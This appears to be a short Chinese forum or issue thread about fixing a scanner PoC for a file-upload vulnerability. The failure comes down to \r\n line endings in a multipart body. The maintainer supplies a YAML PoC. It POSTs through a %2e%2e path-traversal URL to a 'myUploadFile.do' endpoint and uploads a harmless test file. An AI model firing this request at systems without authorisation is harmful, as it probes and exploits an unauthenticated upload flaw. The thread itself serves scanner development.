文件上传的部分poc问题

[Zxc123456zxc]

网站是存在漏洞的，burp抓取的poc流量，文件上传不成功，发现是body的问题，手动替换body内容可以上传成功，通过对比数据包，发现是回车换行符的问题，这是成功上传的包，是有回车换行符号/r/n

这个是没有上传成功的包，只有换行符号/n，

通过测试替换数据包，发现是回车换行符的问题

[shadow1ng]

原来如此

[Zxc123456zxc]

麻烦你了，能解决吗，大哥

[shadow1ng]

  name: test-upload
  rules:
    - method: POST
      path: /easportal/buffalo/%2e%2e/cm/myUploadFile.do
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarySq4lDnabv8CwHfvx
      body: "\
        ------WebKitFormBoundarySq4lDnabv8CwHfvx\r\n\
        Content-Disposition: form-data; name=\"myFile\"; filename=\"qcge.txt\"\r\n\
        Content-Type: text/html\r\n\
          \r\n\
          nicai\r\n\
          ------WebKitFormBoundarySq4lDnabv8CwHfvx--\r\n\
        "
      expression: |
        response.status == 200

[shadow1ng]

直接在poc里搜索\r\n会有例子

[Zxc123456zxc]

好的，感谢大哥